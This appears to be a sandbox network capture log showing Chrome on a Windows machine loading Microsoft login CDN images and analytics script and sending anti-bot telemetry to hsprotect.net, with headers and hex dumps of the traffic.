2024-12-11 18:23:24 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 22682772 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Wed, 11 Dec 2024 18:23:23 GMT Etag: 0x8DB77257FFE6B4E Last-Modified: Tue, 27 Jun 2023 15:45:14 GMT Server: ECAcc (lhc/793D) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e98d5e21-301e-0028-71ad-7d9304000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-12-11 18:23:24 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50000	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:23 UTC	622	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:24 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 22682735 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Wed, 11 Dec 2024 18:23:23 GMT Etag: 0x8DB77257C91B168 Last-Modified: Tue, 27 Jun 2023 15:45:09 GMT Server: ECAcc (lhc/7913) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5a38ddb4-801e-0053-2bad-7d4413000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-12-11 18:23:24 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50017	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:25 UTC	400	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:26 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 22682775 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Wed, 11 Dec 2024 18:23:26 GMT Etag: 0x8DB77257FFE6B4E Last-Modified: Tue, 27 Jun 2023 15:45:14 GMT Server: ECAcc (lhc/793D) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e98d5e21-301e-0028-71ad-7d9304000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-12-11 18:23:26 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50018	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:25 UTC	387	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:26 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 22682738 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Wed, 11 Dec 2024 18:23:26 GMT Etag: 0x8DB77257C91B168 Last-Modified: Tue, 27 Jun 2023 15:45:09 GMT Server: ECAcc (lhc/7913) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5a38ddb4-801e-0053-2bad-7d4413000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-12-11 18:23:26 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50021	152.199.21.175	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:26 UTC	403	OUT	GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1 Host: logincdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:26 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 10401755 Cache-Control: public, max-age=31536000 Content-MD5: Lih+tBiUAIS5IVkMbmcsng== Content-Type: application/x-javascript Date: Wed, 11 Dec 2024 18:23:26 GMT Etag: 0x8DCB8B8BCF38323 Last-Modified: Fri, 09 Aug 2024 21:17:56 GMT Server: ECAcc (lhc/7922) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 85390ee5-001e-0062-515f-ed96e9000000 x-ms-version: 2009-09-19 Content-Length: 90677 Connection: close
2024-12-11 18:23:26 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6f 6e 65 64 73 2d 61 6e 61 6c 79 74 69 63 73 2d 6a 73 5f 30 37 37 32 31 37 37 34 30 63 38 35 33 62 35 64 34 66 65 38 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 69 64 65 6e 74 69 74 79 5f 73 69 73 75 5f 6d 73 61 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 69 64 65 6e 74 69 74 79 5f 73 69 73 75 5f 6d 73 61 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 37 31 5d 2c 7b 32 32 37 38 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 74 2e 72 28 65 29 2c 74 2e 64 28 65 2c 7b 41 70 70 49 6e 73 69 67 68 74 73 43 6f 72 65 Data Ascii: /! For license information please see oneds-analytics-js_077217740c853b5d4fe8.js.LICENSE.txt /"use strict";(self.webpackChunk_msidentity_sisu_msa=self.webpackChunk_msidentity_sisu_msa\|\|[]).push([[471],{2278:function(n,e,t){t.r(e),t.d(e,{AppInsightsCore
2024-12-11 18:23:26 UTC	1	IN	Data Raw: 72 Data Ascii: r
2024-12-11 18:23:27 UTC	16383	IN	Data Raw: 69 6e 67 22 2c 61 74 3d 22 74 6f 55 54 43 53 74 72 69 6e 67 22 2c 75 74 3d 22 65 78 70 69 72 65 73 22 2c 63 74 3d 6e 75 6c 6c 2c 73 74 3d 6e 75 6c 6c 2c 6c 74 3d 6e 75 6c 6c 2c 66 74 3d 44 65 28 29 2c 64 74 3d 7b 7d 2c 76 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 70 74 28 6e 2c 65 29 7b 76 61 72 20 74 3d 6d 74 2e 5f 63 6b 4d 67 72 7c 7c 76 74 2e 5f 63 6b 4d 67 72 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 6d 74 2e 5f 63 6b 4d 67 72 3d 6d 74 28 6e 2c 65 29 2c 76 74 2e 5f 63 6b 4d 67 72 3d 74 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 6e 29 7b 72 65 74 75 72 6e 21 6e 7c 7c 6e 2e 69 73 45 6e 61 62 6c 65 64 28 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 6e 2c 65 29 7b 72 65 74 75 72 6e 21 21 28 65 26 26 6e 26 26 42 6e 28 6e 2e 69 67 6e 6f 72 65 43 6f 6f 6b Data Ascii: ing",at="toUTCString",ut="expires",ct=null,st=null,lt=null,ft=De(),dt={},vt={};function pt(n,e){var t=mt._ckMgr\|\|vt._ckMgr;return t\|\|(t=mt._ckMgr=mt(n,e),vt._ckMgr=t),t}function gt(n){return!n\|\|n.isEnabled()}function yt(n,e){return!!(e&&n&&Bn(n.ignoreCook
2024-12-11 18:23:27 UTC	16383	IN	Data Raw: 74 65 28 75 29 7d 28 6e 2c 65 2c 74 29 3b 69 7c 7c 28 69 3d 75 29 2c 61 26 26 61 2e 5f 73 65 74 4e 65 78 74 28 75 29 2c 61 3d 75 7d 7d 29 29 7d 72 65 74 75 72 6e 20 72 26 26 21 69 3f 6c 69 28 5b 72 5d 2c 65 2c 74 29 3a 69 7d 66 75 6e 63 74 69 6f 6e 20 66 69 28 29 7b 76 61 72 20 6e 3d 5b 5d 3b 72 65 74 75 72 6e 7b 61 64 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 6e 2e 70 75 73 68 28 65 29 7d 2c 72 75 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 57 6e 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 72 79 7b 6e 28 65 2c 74 29 7d 63 61 74 63 68 28 72 29 7b 72 74 28 65 2e 64 69 61 67 4c 6f 67 28 29 2c 32 2c 37 33 2c 22 55 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 20 63 61 6c 6c 69 6e 67 20 75 6e 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 2d 20 22 Data Ascii: te(u)}(n,e,t);i\|\|(i=u),a&&a._setNext(u),a=u}}))}return r&&!i?li([r],e,t):i}function fi(){var n=[];return{add:function(e){e&&n.push(e)},run:function(e,t){Wn(n,(function(n){try{n(e,t)}catch(r){rt(e.diagLog(),2,73,"Unexpected error calling unload handler - "
2024-12-11 18:23:27 UTC	16383	IN	Data Raw: 72 2e 72 6f 6c 65 56 65 72 2c 74 29 2c 64 29 7d 2c 6e 2e 61 70 70 6c 79 41 49 54 72 61 63 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 3b 69 66 28 74 2e 65 6e 61 62 6c 65 41 70 70 6c 69 63 61 74 69 6f 6e 49 6e 73 69 67 68 74 73 54 72 61 63 65 29 7b 76 61 72 20 72 3d 70 28 29 3b 72 26 26 54 6f 28 32 2c 6e 2c 44 69 2c 28 28 65 3d 7b 7d 29 5b 30 5d 3d 72 2e 67 65 74 54 72 61 63 65 49 64 28 29 2c 65 5b 31 5d 3d 72 2e 67 65 74 4e 61 6d 65 28 29 2c 65 5b 32 5d 3d 72 2e 67 65 74 53 70 61 6e 49 64 28 29 2c 65 29 2c 21 31 29 7d 7d 2c 6e 2e 61 70 70 6c 79 44 69 73 74 72 69 62 75 74 65 64 54 72 61 63 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 65 2c 74 3d 70 28 29 3b 69 66 28 74 29 7b 76 61 72 20 72 3d Data Ascii: r.roleVer,t),d)},n.applyAITraceContext=function(n){var e;if(t.enableApplicationInsightsTrace){var r=p();r&&To(2,n,Di,((e={})[0]=r.getTraceId(),e[1]=r.getName(),e[2]=r.getSpanId(),e),!1)}},n.applyDistributedTraceContext=function(n){var e,t=p();if(t){var r=
2024-12-11 18:23:27 UTC	3	IN	Data Raw: 45 78 63 Data Ascii: Exc
2024-12-11 18:23:27 UTC	16383	IN	Data Raw: 65 65 64 3a 5b 5d 2c 66 61 69 6c 65 64 45 76 74 73 3a 5b 5d 2c 62 61 74 63 68 65 73 3a 5b 5d 2c 6e 75 6d 45 76 65 6e 74 73 3a 30 2c 72 65 74 72 79 43 6e 74 3a 6e 2c 69 73 54 65 61 72 64 6f 77 6e 3a 65 2c 69 73 53 79 6e 63 3a 74 2c 69 73 42 65 61 63 6f 6e 3a 72 2c 73 65 6e 64 54 79 70 65 3a 6f 2c 73 65 6e 64 52 65 61 73 6f 6e 3a 69 7d 7d 2c 6e 2e 61 70 70 65 6e 64 50 61 79 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 69 29 7b 76 61 72 20 6f 3d 74 26 26 72 26 26 21 74 2e 6f 76 65 72 66 6c 6f 77 3b 72 65 74 75 72 6e 20 6f 26 26 47 72 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 53 65 72 69 61 6c 69 7a 65 72 3a 61 70 70 65 6e 64 50 61 79 6c 6f 61 64 22 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 72 Data Ascii: eed:[],failedEvts:[],batches:[],numEvents:0,retryCnt:n,isTeardown:e,isSync:t,isBeacon:r,sendType:o,sendReason:i}},n.appendPayload=function(t,r,i){var o=t&&r&&!t.overflow;return o&&Gr(e,(function(){return"Serializer:appendPayload"}),(function(){for(var e=r
2024-12-11 18:23:27 UTC	8758	IN	Data Raw: 62 3d 7b 7d 29 5b 6a 6f 5d 3d 5b 32 2c 31 2c 30 5d 2c 62 5b 57 6f 5d 3d 5b 36 2c 33 2c 30 5d 2c 62 5b 56 6f 5d 3d 5b 31 38 2c 39 2c 30 5d 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 2c 69 3d 6b 3b 50 26 26 28 69 3d 4e 29 2c 57 6e 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 63 6f 75 6e 74 28 29 3e 30 26 26 57 6e 28 65 2e 65 76 65 6e 74 73 28 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 28 65 2e 73 79 6e 63 26 26 28 65 2e 6c 61 74 65 6e 63 79 3d 34 2c 65 2e 73 79 6e 63 3d 21 31 29 2c 65 2e 73 65 6e 64 41 74 74 65 6d 70 74 3c 69 3f 28 7a 72 28 65 2c 6e 2e 69 64 65 6e 74 69 66 69 65 72 29 2c 41 28 65 2c 21 31 29 29 3a 72 2e 70 75 73 68 28 65 29 29 7d 29 29 7d 29 29 2c 72 2e 6c 65 6e 67 74 68 3e 30 26 Data Ascii: b={})[jo]=[2,1,0],b[Wo]=[6,3,0],b[Vo]=[18,9,0]}function G(e,t){var r=[],i=k;P&&(i=N),Wn(e,(function(e){e&&e.count()>0&&Wn(e.events(),(function(e){e&&(e.sync&&(e.latency=4,e.sync=!1),e.sendAttempt<i?(zr(e,n.identifier),A(e,!1)):r.push(e))}))})),r.length>0&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50036	35.190.10.96	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:28 UTC	649	OUT	POST /api/v2/msft HTTP/1.1 Host: collector-pxzc5j78di.hsprotect.net Connection: keep-alive Content-Length: 612 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: / Origin: https://msft.hsprotect.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://msft.hsprotect.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:28 UTC	612	OUT	Data Raw: 70 61 79 6c 6f 61 64 3d 61 55 6b 51 52 68 41 49 45 46 4e 67 57 6d 5a 36 53 30 70 46 5a 45 74 56 44 78 41 65 45 46 59 51 43 45 6b 51 59 46 35 47 43 6e 70 7a 63 77 4e 57 59 55 45 50 45 41 67 51 57 6b 5a 47 51 6b 45 49 48 52 31 66 51 56 52 47 48 46 70 42 51 6b 42 64 52 6c 64 52 52 68 78 63 56 30 59 64 57 31 78 57 56 30 6f 63 57 6b 5a 66 58 68 41 65 45 48 64 71 63 45 42 38 41 32 4e 54 61 46 56 37 44 78 41 49 41 78 34 51 56 48 64 6e 64 58 4e 59 57 55 4a 32 57 46 55 50 45 41 67 51 5a 56 74 63 41 51 41 51 48 68 42 38 57 55 5a 2f 64 6e 70 7a 51 32 4e 6d 52 51 38 51 43 41 49 65 45 48 5a 30 5a 77 42 33 57 56 30 47 59 6d 46 7a 44 78 41 49 42 77 41 41 43 68 34 51 56 47 5e 46 56 2f 64 32 42 32 52 6b 4a 32 61 67 59 50 45 41 67 42 42 41 49 43 48 68 42 34 5a 45 56 55 5a Data Ascii: payload=aUkQRhAIEFNgWmZ6S0pFZEtVDxAeEFYQCEkQYF5GCnpzcwNWYUEPEAgQWkZGQkEIHR1fQVRGHFpBQkBdRldRRhxcV0YdW1xWV0ocWkZfXhAeEHdqcEB8A2NTaFV7DxAIAx4QVHdndXNYWUJ2WFUPEAgQZVtcAQAQHhB8WUZ/dnpzQ2NmRQ8QCAIeEHZ0ZwB3WV0GYmFzDxAIBwAACh4QVG^FV/d2B2RkJ2agYPEAgBBAICHhB4ZEVUZ
2024-12-11 18:23:29 UTC	400	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:23:28 GMT Content-Type: application/json; charset=utf-8 Content-Length: 904 Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Origin: https://msft.hsprotect.net Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-11 18:23:29 UTC	904	IN	Data Raw: 7b 22 64 6f 22 3a 6e 75 6c 6c 2c 22 6f 62 22 3a 22 66 31 78 2f 66 31 78 2f 62 79 4d 6e 64 79 70 32 49 58 64 32 50 6e 45 6b 64 6e 63 2b 49 69 4a 32 64 54 35 79 63 6e 46 77 50 6e 42 78 49 6e 41 6c 49 43 73 68 4a 53 64 32 64 32 31 74 62 57 31 63 66 33 39 2f 58 48 39 76 63 47 5a 74 62 57 31 74 66 31 78 2f 58 48 39 2f 62 79 49 6a 4b 69 6f 67 4a 69 73 71 4b 69 6f 6e 4a 53 59 6c 49 43 63 72 49 69 55 67 62 57 31 74 62 56 78 2f 66 31 78 2f 66 33 39 63 62 79 49 6b 49 43 41 71 4a 79 49 6e 49 79 73 72 4a 69 42 74 62 57 31 74 58 46 78 63 66 33 39 63 62 33 42 6e 63 47 64 37 4b 79 64 2b 65 33 34 68 66 6e 73 72 63 43 55 71 66 48 68 30 62 57 31 74 62 56 78 2f 66 31 78 2f 66 31 78 2f 62 79 59 6e 4b 69 42 74 62 57 31 74 58 48 39 2f 58 48 39 63 58 48 39 76 49 79 64 33 4b 6e Data Ascii: {"do":null,"ob":"f1x/f1x/byMndyp2IXd2PnEkdnc+IiJ2dT5ycnFwPnBxInAlICshJSd2d21tbW1cf39/XH9vcGZtbW1tf1x/XH9/byIjKiogJisqKionJSYlICcrIiUgbW1tbVx/f1x/f39cbyIkICAqJyInIysrJiBtbW1tXFxcf39cb3BncGd7Kyd+e34hfnsrcCUqfHh0bW1tbVx/f1x/f1x/byYnKiBtbW1tXH9/XH9cXH9vIyd3Kn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50038	34.107.199.61	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:23:28 UTC	591	OUT	GET /ns?c=034720e0-b7ed-11ef-962d-31c5277a04c3 HTTP/1.1 Host: stk.hsprotect.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://msft.hsprotect.net Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://msft.hsprotect.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:23:29 UTC	153	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:23:29 GMT Content-Type: text/html Content-Length: 354 Access-Control-Allow-Origin: * Connection: close
